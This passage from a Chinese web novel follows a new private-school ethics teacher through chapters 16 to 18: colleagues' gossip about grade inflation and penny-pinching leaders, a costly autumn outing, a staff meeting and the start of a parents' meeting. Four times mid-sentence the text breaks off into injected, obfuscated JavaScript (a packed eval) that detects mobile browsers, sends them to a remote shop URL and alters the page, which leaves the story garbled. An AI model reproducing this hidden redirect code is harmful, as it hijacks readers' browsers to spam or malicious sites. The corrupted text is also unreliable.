音乐王老师:“还有打印各种试卷、设备故障、校车跟送、课后辅导、活动排练、学生化妆,反正你能想到的杂货,我们都得干。” 美术何老师指了指身后的工位:“比如学校的各种设备出故障了,都找初中部的两位信息老师,水老师和李老师。” 肖遥:“可是这不是应该后勤负责吗?” 美术何老师:“信息老师更方便啊。” 肖遥:“有钱吗?” 美术何老师偷偷比了个数:“呵,一个月就这些。有些活就按课时费给。” 肖遥皱眉:“这么少啊。” 肖遥还是不解:“可是学校搞活动给学生化妆不是应该找外面的人帮忙化吗?就靠老师怎么化得过来?” 美术何老师:“害,现在的学生都很早熟,很多小学生都会化妆了。” “所以学校就会让班主任邀请家长过来帮忙,加上我们女老师还有部分高年级学生,你看,又省了一笔。” 音乐王老师凑过来低声道:“而且我跟你说后勤特别抠,购买的设备材料越来越垃圾。而且每次我们有需求要采购东西,都得找各个领导签字。这些人签之前都得质问我们一遍,搞得我们好像给自己采购一样。” 历史陈老师甩了甩手中的笔:“就是就是,你看学校发的笔芯,写两下就断墨了。难为后勤,不知道从哪个地方买来这么垃圾的笔。” 肖遥点点头,所以她直接扔了学校发的红黑笔,自己花钱买。 唉?她这是不是付费上班了? 美术何老师:“还有那电脑设备,都坏了好几次了,也不换,拖了又拖。” 她冷哼一声:“也不知道钱都用去了哪里。” 音乐王老师咬了口果冻,“嘻嘻”笑道:“能去哪里?领导们吃喝去了呗。” 她朝上面使了个眼色,神秘兮兮道:“昨晚我又看见领导们开着车一起出去了,政教处魏主任和金校回来的时候,路都走不稳了。” 历史陈老师有些质疑:“你怎么知道的?” 音乐王老师“啧”了一声:“我在宿舍阳台看见的。” 说完,她伸手在嘴巴上做了个“锁上”的动作。 另外三人心照不宣,发出了意味深长的声音:“嗯~” 历史陈老师:“唉,还是改试卷吧。” 肖遥:“改完还得出质量分析,我觉得这次道法考得会很差。” 历史陈老师:“+1” 肖遥:“我就怕家长找我。” 美术何老师喝了口茶,悠悠道:“不用担心啦,反正都会美化成绩的。” 历史陈老师:“也是。” 美化成绩? 什么意思? 肖遥脱口而出。 历史陈老师看了眼门外,学生们正进行下一场的考试。 她小声给肖遥解疑:“意思就是某些学生的真实成绩不能直接给到家长。” 肖遥还是不明白:“为什么啊?” 美术何老师:“因为真实成绩太难看了。家长真金白银花了几万块学费,看到这种成绩,还会继续让孩子读下去吗?而且学生成绩太差对学校的名声也不好。” 音乐王老师直接挑明:“哎呀,说直接点,就是不利于招生,尤其是期末成绩。” 肖遥:“那怎么美化?” 历史陈老师:“主要是一些差生,稍微把这些学生的分数提高一点,但也不能太高,不然就太假了。而且答题卡不能给到学生。” 看着眉头紧皱的肖遥,美术何老师耐心解释道:“公办我不清楚,但很多民办学校都这样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239890|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比如我们区顶尖的那几所民办学校,甚至为了成绩好看,期末都不要差生参加考试的。” 历史陈老师沉思一会:“不过上学期开始,我们市进行了改革。以后的期末考试都不会给家长展示学生的分数了,直接用ABCD代替。” ABCD? 肖遥觉得越来越离谱:“什么意思?” 历史陈老师:“意思就是,你们道法满分100。那么就要设区间,比如90-100是A的话,如果这个学生考了96,就是A等级,考了91也是A等级。” 肖遥:“为什么不给展示分数了?不给展示分数,那家长怎么知道孩子学得怎样了?” 音乐王老师大惊:“因为去年有家长闹啊,你不知道吗,这件事闹得可大了。” 肖遥一脸懵懂地摇了摇头。 美术何老师想到肖遥的年龄,解释道:“肖老师去年没毕业,不清楚很正常。” 音乐王老师恍然大悟,随即积极地给肖遥分享内幕:“去年第一学期期末,我们市有个著名初中的家长,在拿到孩子的期末成绩后,就给教育局写了篇长文投诉学校。他认为学校不应该用分数定义孩子,因为孩子看到自己不理想的成绩后很难过,影响了孩子的心理健康。” “然后教育局就发了通知要改革,每个区期末统考的成绩必须采用等级制,不得向家长或孩子透露真实分数。至于期中考试,因为有些学校不参加,所以教育局只作建议,都采用等级制。” 肖遥一脸的不可思议:“疯了吧,我们以前读书的时候,成绩都是直接公布在班级里的,大家都能看到。怎么现在连分数都不能公布了?现在的孩子这么脆弱吗?” 历史陈老师:“我们刚知道这个消息的时候也觉得很离谱。而且据我所知,之前的分数都是班主任单独私发给学生家长的,现在连分数都不能说了。” 音乐王老师摇了摇头,连连叹气:“你说现在的小孩真是一代不如一代了,连自己的考试分数都接受不了,那以后上大学,上班了怎么接受自己的失败?” 美术何老师一言戳破真相:“我看不是孩子接受不了,是家长自己接受不了吧。” “你看我们学校的学生,没心没肺的,大部分都不在乎成绩的。” “我觉得就是家长在乎成绩,但又接受不了自己孩子的平庸,不然不就是承认自己失败了?” 历史陈老师:“说白了就是要面子。” 肖遥唏嘘道:“可是教育局也太草率了吧,家长投诉了就改啊。” 美术何老师:“按闹分配嘛,尤其我们A市的教育局,向来以家长为先。” “而且只怕跟那个家长有相同想法的人不少哦。” 历史陈老师:“我记得之前的课后延时服务就是家长闹出来的吧,因为家长说没时间来接小孩,所以老师免费看管孩子。” “哦,还有说寒暑假时间长,小孩在家没人看。” “你看我们A市的寒暑假,越来越短了。” 肖遥:...... 好颠的教育环境。 肖遥长叹了一口气:“唉。” 见状,美术何老师安慰道:“这行干久了,什么稀奇古怪的事情都能见到。” 历史陈老师点点头:“你看现在生育率下降,说不准以后都没有中考、高考了,大家都能上大学。” 音乐王老师:“我听说有些地方已经开始十二年义务教育了。不过考试还是有的吧,毕竟学校有好有一般的,还是要通过考试来筛选。” 历史陈老师:“不公布成绩,学生不知道自己的学习情况。那现在的教育其实要么看孩子的天赋,要么看家庭的重视程度咯,哦,还有家境。” 美术何老师:“所以这社会最终还是看羊水,拼爹妈。” “......” 三位老师的对话,肖遥只静静听着,没再参与。 她很好奇,好奇为什么教育会变成这样。 或者说,她看不懂,这社会到底怎么了? 唉。 16. 秋游 考试结束后的一周,学生浮躁的心依旧没有停下来,因为学生们期待的秋游来了。 肖遥以前上学的时候也参加过学校组织的秋游,不是去公园,就是去动物园、植物园、游乐园。 而此次学校组织秋游的目的地选择了另一个区的游乐园。 “为什么跑去这么远的游乐园啊?”肖遥看着手机地图,上面显示从学校到游乐园的路程居然要1个多小时。 历史陈老师在某书上搜到了这个游乐园,一脸嫌弃道:“而且看起来是个很无聊的游乐园。” 美术何老师:“便宜呗。” 肖遥翻了翻工作群里的秋游文件:“我看也不便宜啊,每个学生收费300元,包含车费、餐费、意外保险等费用。” 历史陈老师大吃一惊:“某团上面报的价格才220啊,更别提这种团体票,价格还会更便宜。” 肖遥:“啧啧啧,学校吃挺多的啊。” 美术何老师指了指旁边,小声说道:“而且学校还让班主任劝学生们都报名参加,隔壁两个办公室的班主任们都在头疼呢。” 肖遥:“不过能进我们学校的学生,家庭条件都不差,这个价格也能接受吧。” 历史陈老师:“不是哦,有的学生家里没什么钱,连学费都是借亲戚的。” 肖遥:“啊?” 历史陈老师:“我上次吃饭听班主任们说的,这样的学生还不少呢。” 肖遥疑惑:“家里没钱为什么还要来这么贵的民办学校上学啊?” 历史陈老师:“为了孩子吧,有些家长觉得公办学校不好,又看不上低端的民办学校,所以咬咬牙送过来。” “709班的班主任李老师到现在还在催收学费呢。” 肖遥:“......” 班主任可真难。 看到游乐园,肖遥皱眉思考了会:“秋游是在这周四,由班主任带队,那我们这些科任老师也能去吗?还是得呆在学校里?” 美术何老师:“可以啊,按照往年的惯例,跟年级主任说一声就行了,到时候跟着大巴一起去。至于不去的老师,还是要到点打卡上班。” “哦,音乐王老师会去。” 肖遥托着下巴想了想, 她有点想去。 肖遥这两个多月的大部分时间都在学校,还没有好好出去逛过。 她看向历史陈老师和美术何老师,恰巧历史陈老师对上了她的视线。 历史陈老师心领神会:“肖老师想去?” 肖遥点点头:“有点。” 历史陈老师沉思了会,便做好了决定:“那我也去!” 两人立刻看向美术何老师。 美术何老师摆手表示拒绝:“我不去,我宁可在办公室发霉,也绝不和学生出去玩。” ...... 周四上午8点,学校广场。 肖遥和历史陈老师、音乐王老师以及几位一同去游乐园的老师站在大巴旁边,等着学生先上车。 看着闹哄哄的学生,以及不断嘶哑着嗓子管纪律的班主任,肖遥突然有点后悔了。 好在,历史陈老师眼疾手快,直接把肖遥拉上了车,坐在了第一排,断了她逃回办公室的心思。 恰好,她们坐的就是708班的车,道法赵老师的班级。 音乐王老师则和其他老师分散到其他车辆。 虽然今天的秋游只有初中部初一初二的学生,但是二十个班的学生,再加上学校领导、班主任和科任老师,二十辆大巴坐得满满当当,向着游乐园出发。 确认学生人数无误后,道法赵老师又逐一给每个学生拍照发到班群,给家长汇报学生秋游的进程。 做完这一切,她才安心地坐下休息。 她和两人打了个招呼便闭目养神,不再管后面吵吵闹闹的学生。 至于肖遥,她一边吃着果干,一边听着历史陈老师小声分享的瓜。 历史陈老师:“昨天9班的班主任李老师又被班里的学生气到了,就因为这次秋游。” 肖遥:“咋啦咋啦?” 历史陈老师捂着嘴凑到肖遥耳边道:“学校不是让班主任劝班里学生去参加秋游嘛,但是很多班主任觉得这样不好,比如709班班主任。所以上周考试完,李老师就直接和学生说了,你想去的话就和家长沟通,家长再跟老师报名和转钱。不想去的也没关系,到时候留在学校写作业或看书。” “这本来很正常对吧,结果周末的时候,李老师接到了一个学生家长的电话。家长对着李老师破口大骂,说她为了捞钱,强迫学生去游乐园。” 肖遥:??? 历史陈老师:“李老师就觉得很冤枉,她无论是跟学生还是家长,说的都是自己选择去或者不去。” “可是家长不听,一口咬定是李老师的问题。李老师回了几句后,没再理他,直接挂掉电话。又在班群里重发了一遍自愿去,不做强迫。” “本来李老师以为事情到这里就结束了,谁知道周日回来发现,家长去找招生处康主任。康主任就找了李老师,要她处理好这件事情。” “李老师就把学生找过来问,那个学生一开始矢口否认。后来李老师又单独找了班里的几个学生问了才知道,原来前两周班主任就说了秋游的事情,这个学生想去,可是家长不同意。” “上周末是报名的最后时间,所以学生就跟家长撒谎说,班主任要求了全班都要去。所以,家长就打电话骂班主任,还找了招生处的康主任告状。” 肖遥咽下果肉,忍不住骂了一句:“这家长有病吧,这学生也是。” 历史陈老师也替李老师抱怨道:“谁说不是呢。后来李老师直接打电话给学生家长,让家长听自己孩子的说法,那家长沉默了半天,最后就说了一句,不好意思,搞错了。” 肖遥:“......” 历史陈老师也很无语,她看了眼后面不是在玩手机就是在大声聊天的学生,小声道:“听说不止李老师的班级有这种情况,八年级也不少学生跟家长撒谎说班主任要求全班去,然后家长又找茬班主任。” 肖遥皱眉:“那班主任怎么办?” 历史陈老师耸了耸肩:“还能怎么办,只能把学生教育一顿。” 肖遥:“......” 肖遥感叹了一句:“现在喜欢撒谎的学生可不少啊。” 历史陈老师:“可不是,难怪班主任处理学生问题都要录音,就怕学生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239891|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面对家长的时候直接不承认。” 历史陈老师忍不住心生埋怨:“唉,还有家长也是,总觉得是我们老师想捞钱,其实班主任带学生出去也就拿个300块。为了这300块,班主任从早忙到晚,还要照顾所有学生的安全,给学生拍照发班群。我看10班班群还有家长还不满意班主任拍的照片。” 肖遥叹了口气:“难怪说教育行业已经变成服务行业,家长都不尊重老师,孩子怎么可能尊重老师?” 两人又齐齐叹了口气。 “老师老师,请你们吃糖果!!!” 一个清脆的声音在肖遥耳边响起。 两人同时往回看,是个扎着马尾的女孩子,眉眼弯弯,双手递给两人糖果。 旁边还有个害羞的小女孩,低着头不敢直视她们的视线,抿唇小声道:“老师,请你们吃巧克力。” 看着两个乖巧可爱的小女孩,肖遥忍不住笑出了声。 历史陈老师则见怪不怪,直接收下,摸了摸两人的脑袋,扬唇笑道:“谢谢你们。” 肖遥也笑着接过糖果和巧克力,回赠了两包果干:“谢谢,请你们吃果干”。 被自己喜欢的老师感谢,两个女孩显然很开心。 她们又快速在自己班主任的座位旁放了糖果和巧克力后,蹦蹦跳跳地回到了座位。 历史陈老师撕开包装,糖果的甜味在嘴里蔓延,心情颇为愉悦道:“那是我的两个科代表,还是很乖巧贴心的。” 肖遥咬着嘴里的糖果,认同的点点头:“虽然有的学生是心腹大患,但有的学生还是让我教得很有成就感的。” “老师!!!一起打游戏啊!” 一道刺耳的声音在脑后响起。 历史陈老师头也不回地冷漠拒绝:“不要。” 肖遥记得,这是她常提起的心腹大患。 “那老师把你手机借我打游戏吧!” “对啊对啊。” “再骚扰老师,我就没收你们的手机。” “......” 全车瞬间安静下来。 肖遥暗自点点头, 还得是班主任。 一个小时10分的路程后,她们到达了目的地。 游乐园里只有两所学校的学生,显然也是来秋游的。 虽然游戏设施很普通,但是人少且不要门票,肖遥还是觉得可以的。 这种想法持续到了她坐上过山车。 “啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊” “啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊” 肖遥颤着腿从过山车上下来,旁边的学生还乐呵呵地嚷嚷着要再来一次。 甚至还有学生笑嘻嘻地朝肖遥打招呼:“老师,再一起去玩啊!” 肖遥顶着僵硬的笑容摇了摇头:“不了,老师们年纪大了,适合安静点的游戏。” “哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈” 在学生们的哈哈大笑声中,肖遥拖着一直憋笑的历史陈老师坐上了旋转木马:“还是这种适合我。” “十二、三岁的孩子精力真是旺盛,”她看着到处上蹿下跳的学生,感慨道:“天不怕地不怕。” “是啊,年轻真好。” 17. 教师大会 从入园开始,学生们就像神兽出笼一样,涌向各个游戏设施。 毕竟游乐园没有学校那样窒息的约束感,学生们都能自由自在地玩耍。 甚至还有不少学生主动邀请老师一起去玩。 回想起刚刚的经历,肖遥笑着对历史陈老师道:“其实这些孩子还是很可爱的,也没有那么多坏心思。” “是啊。”历史陈老师一边伸手回应着远处给她打招呼的学生,一边回道:“其实我对这些学生又恨又爱。” “讨厌学生不好好学习,专门捣乱课堂。又喜欢学生好好学习,体谅老师。” “上次我感冒了,有学生偷偷在我办公桌上放感冒药,还写了纸条希望我早日好起来。” 肖遥回想起这两个多月的教学,确实还是有不少暖心的事情。 她转头看向历史陈老师,调侃道:“我们这样算不算是爱上自己的客人?” 历史陈老师愣了愣,她晃晃脑袋,连忙道:“不好不好,做我们这行,最忌讳爱上客人。” 肖遥:“哈哈哈哈哈哈哈哈哈哈哈哈哈哈” 学生的午饭是在游乐园的餐厅解决的,可当肖遥看到盒饭的时候,内心就觉得不妙。等她艰难地把菜咽下肚子时,她实在忍不住想要骂人了。 什么垃圾饭菜,又油又咸。 学生交了这么多钱,就来吃这个两荤一素的盒饭? 肖遥秉承着不可浪费粮食的精神,愣是吃完了三分之一的盒饭。 至于其他学生,则大胆多了,不少人看到盒饭里的饭菜就直接开骂,有的吃了两口就不再吃了,有的甚至直接扔掉盒饭,自己去买小吃。 下午4点,大巴又带着学生们回校。 对于这一天的秋游,肖遥只有一个感想: 黑心学校。 ...... 周四的秋游结束,学校领导又马不停蹄地下达了下周的任务,周五的家长会。 肖遥不明白领导是怎么想的,似乎没有考虑过班主任的工作量,他们只会不停地布置一个又一个的任务。 上周的期中,本周的秋游,下周的家长会,还有下下周的校运会,还有未来的班歌比赛、篮球比赛、元旦晚会。 更别提班主任还有日常的教学任务,要处理各种各样地学生问题,每日要检查班务卫生情况,还要时不时帮助社区收集学生信息。 同为道法老师兼班主任的赵老师每天忙得连厕所都要抽着空去,有些班主任更是连生病了都不敢请假,就怕请假了学生又出幺蛾子。 但哪怕老师们这么尽心尽力,领导们还是不满意。 周一晚上的教师大会上,金校暗戳戳地数落了一顿老师们。 “有些老师,特别是班主任,要学会处理好学校和家长的关系,要把握好说话的度,不要激怒家长,不要让家长总来投诉我们。” “比如这次秋游,你要学会运用语言的艺术,让学生们自己想去秋游。其他科任老师也可以主动跟学生说,自己也会去,觉得很好玩,吸引学生去嘛。” “遇到问题了,班主任要主动去沟通、去解决问题,不要什么事情都找学校领导,我们也是很忙的。我相信家长和学生都是可以沟通的。” “平常的时候,班主任可以多发一些学生的照片、视频给家长看,让家长们多了解孩子在学校的日常。我们还可以发一些老师辅导学生的图片,让家长知道我们在尽心尽力教育孩子。” “无论是班主任和科任老师,都要经常跟家长沟通。可以多多表扬一下学生,不要出了问题才去找家长,那家长肯定很烦躁的。” “......” 听着金校的发言,肖遥低着头暗暗翻了个白眼。 领导一张嘴,累死下面人。 哔哩吧啦那么多,有本事你自己上啊!!! 肖遥跟这个金校接触不多,只知道他是个笑面虎,时常和学生一起吃饭、一起打球,从不骂学生,主张用爱感化学生,给自己打造了一个善解人意、深受学生喜欢的人设。 至于干了什么实事? 呵! 他给八年级无底线接收了一批别的学校都不要的“问题学生”;这学期把学校饭堂的承包商给换了,饭菜变得又贵又难吃;还联合其他学校领导砍了老师的福利待遇,增加老师的工作量...... 想到这里,肖遥暗自冷笑了一声,继续刷她的手机。 她与历史陈老师、历史邹老师坐在倒数第二排,后面是同办公室的老师。 很显然,大家都不喜欢金校,或者说,不喜欢这种毫无意义的开会。 坐在肖遥前排的体育老师又开了一局游戏,而台上的金校也换了一个话题。 “在这里,我要表扬我们八年级的英语何老师,这一次期中考试,我们何老师带的5班和6班有了很大的进步,6班的英语均分进到了区的前五。” “我真的很佩服何老师,这学期,她作为班主任,不仅把班级管理得井井有条,还将家校关系处理得很好。” “她经常给学生买零食作为奖励,利用自己的下班时间给学生辅导。她常常辅导学生到晚上10点才回去,周五放学了,也会把学生留下来辅导,也会及时跟家长反馈孩子的学习情况。” 金校越说越兴奋:“所以学生和家长都很喜欢何老师,这就是我们老师们的榜样啊!我们一起给何老师掌声!” 前排的领导们积极响应,而肖遥则跟着其他人稀稀拉拉地鼓掌。透过人群,她看到了坐在第四排的何老师。 她低着头,看不出神色,身体颇有些僵硬地坐着。 借着前面老师的遮挡,历史陈老师又开始悄悄给肖遥分享八卦:“我跟你说,上学期的教师大会,这个金校可不是这个面孔对待何老师。” “何老师带的是普通班,班里学生素质都不好,经常打架生事,那些家长也都是些不讲道理的,有个家委仗着认识学校领导,经常联合其他家长投诉何老师。” “学校领导听多了就很不满何老师,经常明里暗里批评她,说她哪里哪里做得不好。一开始何老师还会反驳,后来就默默承受了,逐渐变成一个卷王。” 肖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239892|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遥不解:“学校领导如果不满何老师,直接开除呗,怎么还留着?” 历史陈老师撇了一眼台上的人:“因为根本没人想接何老师的班级,那个班的学生太烂了。而且,学校领导也知道这是学生和家长的问题,但他们才不管,依旧找何老师的问题。” 肖遥皱眉:“这不就是PUA嘛?那何老师也忍着啊,她能力不错,干嘛不跳槽去别的学校?” 历史陈老师又降低了音量:“唉,天下乌鸦一般黑,别的学校也好不到哪里去。而且最主要的原因是,她孩子现在我们学校的小学部上五年级。” “她想着熬到孩子毕业就跳槽。” 肖遥无声叹了口气,生活所迫啊。 历史陈老师顿了顿,又补了句:“其实我们学校很多老师都想辞职,但都因为各种各样的因素留下来,最多的就是因为孩子和家庭,不想再到处奔波。” 肖遥愣了愣。 这么想,她该庆幸自己没有结婚,没有小孩,不然她难以想象这种被钳制的日子该怎么过啊。 台上的金校大肚便便,拿着麦,从何老师又讲到了其他老师,一脸的苦口婆心。 “我们学校有些老师啊,太过于躺平了,太过于佛系,这种思想是不对的。特别是年轻人,要能吃苦,要多干事,积累经验。” “你现在不拼,什么时候拼?该参加比赛的时候就要参加比赛,熬个夜没什么的。我们以前都这么过来。” “还有我们一些老教师也是,不要想着得过且过。我们做老师的就是要教书育人,就是要对学生负责,对家长负责。平时多利用课余时间给学生们讲题,拉一拉学生的成绩。周五也可以把学生留下来辅导......” 肖遥“嗤”了一声:“只说付出,不说回报。他这是想让我们无偿加班啊。” 历史陈老师:“习惯就好,每次教师大会他都这样。先抓个典型,表扬牛马老师,鼓励大家一起卷。然后道德绑架老师,让我们努力工作,无偿加班。最后再用生育率下降和招生困难威胁我们。” 恰好金校讲到了生育率下降:“现在社会经济不好,生育率下降,对我们老师的影响很大,特别是民办学生,外面都倒闭了多少间?没有孩子,没有学生,我们老师还有工作吗?” “初中还好,幼儿园和小学已经很难招到学生了,我们学校也在苦苦支撑,我们招生处和领导们每天都在烦恼。各位老师作为学校的一份子,也要努力为我们学校招揽学生,看看自己的身边有没有适龄的孩子......” “现在教育行业就是服务业,家长花钱送学生来学校,我们为学生和家长提供教育服务。所以,老师们一定要尽力尽责,尽力把我们学生的成绩提上去,也尽量不要跟家长产生冲突,要让家长和学生感受到我们优质的教育服务。不然,学生跑了,我们老师们还有工作吗?” 肖遥:...... 呵呵呵, 呵呵呵。 肖遥已经无槽可吐了。 她只想赶紧熬这学期。 她再也不要当老师了。 18. 家长会 教师大会足足开了一个半小时,而开完教师大会的肖遥又立刻转场到了七年级的年级会议。 好在,年级会议没有那些领导在场,而马主任显然也不想浪费太多时间。因此,她简明扼要地讲明会议内容。 “我们就讲三个事情。” “首先是期中考试的成绩,我们这次区排名第八,跟之前的排名差不多,不好也不差。”她在屏幕上展示出各科的考试情况,并进行简要分析。 “三门主科中,英语是最差的,均分才过及格线,区排名十五。我也跟几个英语老师了解过,英语中考分值不变,但是这学期教材进行了改革,难度有所上升。因此,学校决定,后半学期,七年级会从副科中让一节课给英语,尽量把这个英语成绩拉上去。” “可是学生不喜欢学英语,单词也不背,实在是难提高成绩啊。”与马老师搭班的老教师直言不讳道:“每次读书,嘴都不张,根本教不动。” “考试不会写就直接乱涂ABCD,然后就趴着睡觉了。”701班的班主任英语李老师想到自己班学生的所作所为,忍不住摇摇头,坦言道:“还是生源太差了。” 马主任也无奈地叹了口气道:“这个也没办法,领导们只看成绩,我也只是传达领导们的意见。你们英语科组看看采取哪些措施,比如放学把学生们留下来多背背单词或者多做几张试卷。” 两位英语老师沉默不言。 坐在后排的肖遥侧着头悄悄打了个哈欠。 离开生源谈成绩,这不是耍流氓嘛。 有时候学生上英语课,她会经过教室。 好家伙,老师用英语提问的时候,下面的学生鸦雀无声,老师换了中文提问后同样没什么反应。这让肖遥立刻梦回大学公共课老师提问的场景。 跟读单词更是一塌糊涂,连考过了英语六级的肖遥都听不清说的是什么。 “接下来是两门副科,历史和道法。”马主任继续道:“历史相对还好,跟之前的成绩相差不大,但是可以再加把劲提一提成绩。” 历史陈老师&邹老师:“......” “但是道法这边,赵老师和肖老师还是再努努力啊,低分学生挺多的。尽量把低分段的学生拉上来,这样各科进步了,我们就能争取进区前七。” 被点名的肖遥正襟危坐,但内心却不认同。 这次期中考试,不知道是因为改卷老师放水,还是因为七年级学生超常发挥,七年级道法年级均分是70分,她带的五个班的均分是69分,远远超过区的平均分,区排名也到了第十一。 道法赵老师告诉她,这次的成绩比以往好多了。 为此肖遥特地给自己点了大杯珍珠奶茶,奖励自己这半学期的辛苦付出。 但显然学校领导可不这么想的。 坐在一旁的道法赵老师熟练地回道:“这次期中考试的难度加大了,区里的道法成绩也不太好,但我们也比之前进步了。当然,我们会继续努力,争取期末再拿个好成绩。” 肖遥紧跟着点点头。 虽然她很不爽学校,但明面上的态度要端正。 马主任点点头,继续道:“第二件事情就是这周五的家长会,我看到班主任已经在班群发了通知。班主任要着手布置班级,黑板报还没弄完的要抓紧时间。” “另外,”马主任压低了声线道:“之前蒋主任也跟各科组的科组长开过会,大家也知道,我们期中的成绩是需要进行一些美化的,主要是低分学生。这个事情班主任已经完成了,并将学生的成绩私发给了家长。科任老师也不要再提成绩了,如果学生问你,就让学生自己去问班主任或家长。” “周五的家长会,科任老师可以准备一下发言,毕竟是初一新学期,需要让家长们认识一下各科老师。” 在场的其余老师依旧沉默。 “最后,”马主任抬起头,看着七年级的老师语重心长道:“学校非常关注我们七年级的成绩,毕竟我们这届的成绩关乎下一学年的招生。所以,学校也是希望大家在工作中再努努力,多费些心思在学生身上。这样我们作为老师也会有成就感。” “而且我们大概率也是会直上初三,现在给学生打好基础,到了初三压力就不会那么大,对吧。中考拿了好成绩,学校也会给我们中考激励金。金校也说了,会为我们跟集团领导多争取奖金。” 还是一片沉默。 肖遥:好大一个饼。 肖遥面无表情,她与坐在对面同样面无表情的历史陈老师对上了视线。 很显然,她也很无语。 “好,我们年级会议就开到这里,有晚自习的老师就赶紧回班级。” 话音刚落,肖遥便拿着笔记本溜之大吉。 她与历史陈老师和历史邹老师都没有晚自习,三人一同走向教师宿舍。 “又是这些话,去年也是这么说的,可我们的工资待遇是越来越差。”历史陈老师心直口快道。 “我还以为马主任是站在我们老师这边呢。” 肖遥不与马主任搭班,但之前对她的印象还不错。可是这一个多月来,马主任逐渐变得对她要求很多,总是有意无意地越过道法赵老师,在她面前说她带的班级,学生成绩不好,家长有意见。 肖遥一开始没多想。后面才回味过来,其实她是在暗示肖遥下班后给学生无偿辅导吧。 历史陈老师一脸不爽道:“你可不知道,她最喜欢跟领导打小报告了,跟她搭班算我倒霉。” “年轻人,太天真了。”历史邹老师则搂住肖遥的肩膀,小声道:“马主任毕竟是年级主任,上面也有领导施压,所以这么对我们无可厚非。” “再说了,年级主任也是领导,领导怎么可能共情我们这些牛马?这些领导表现出来的友好都只是为了让下面的牛马更好地卖力。” “这些领导最喜欢你们这种刚毕业的年轻人,便宜好用,还自我要求高,容易受到外界评价的影响。所以他们很喜欢对你们夸一阵、贬一阵。” 历史邹老师又补了一句:“不过你也不用管他们的话,左耳进右耳出就行了。一般来说,我们学校不会辞退老师,毕竟学校舍不得赔钱。” 肖遥点点头,默默记下了职场要则。 看来人与人交往不能只看表面啊。 难怪都说上班使人痛苦,这两个多月的教师经历让肖遥开始厌恶工作,甚至厌恶这个世界。 为什么人要工作呢? 为什么领导要这么恶心人呢? 为什么同为打工人要这么为难打工人呢? 为什么人活在这个社会这么艰难呢? 到底什么时候才能真正实现共产主义啊!!! 肖遥又默默叹了口气。 还好,她目前接触的同事们还是很不错的,这也算是些许安慰吧。 ...... 不管老师们再如何不喜欢,周五的家长会还是如约而至。 周五下午,初一初二的师生不再上课,都在等待家长的到来。 家长会的流程并不繁琐。 等大部分家长到自己孩子课室后,先由班主任介绍学生这半学期的学习和生活情况,再分析期中考试,给出建议,接着就是科任老师轮流上台介绍自己。 肖遥没有准备PPT,也没有准备大段的自我介绍,在目前的中考制度下,家长更多关注的还是语数英三门主科。 因此,她三言两句介绍完自己后,便退出了课室。 回到办公室的肖遥立马喝了口水压压惊。 说实话,这是她第一次面对这么多家长,心里还是很紧张的。尤其是这些家长脸上充满了“这个老师过于年轻,能否教好孩子”的质疑。 会前,她和历史陈老师聊到过这个话题。 历史陈老师直言道:“不用担心,这些家长跟学校领导一样,对什么都不会满意的。” “你是年轻教师,家长会觉得你没教学经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239893|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 验;你年纪颇大些,家长又会觉得你没精力管学生;你是女老师,家长会觉得你管不住学生;你是男老师,又会觉得你不够细心;你未婚未育,家长又觉得你不懂得如何管理学生;你已婚已育,家长又觉得你没时间没精力管理学生。” “所以,面对家长,你自信点,就把自己当成是有过多年教学经验的骨干教师。只要你够硬气,家长都不敢强势,毕竟这些家长也是看人下菜。” 不得不说,历史陈老师的话给了肖遥很大的信心。 只是想什么就来什么。 肖遥一直就不太适应和家长沟通,可偏偏家长会就是提供家长和老师沟通的机会。 班级的会议一结束,家长们便蜂拥而出到各个办公室。 而站在肖遥面前的是一个样貌普通的中年男性,身后跟着一个看似怯懦的女生。 肖遥记得,是705班的张小琪,一个开朗活泼的女生。 “道法老师是吧,我是张小琪的爸爸。” “小琪家长你好。”肖遥微笑着回应。 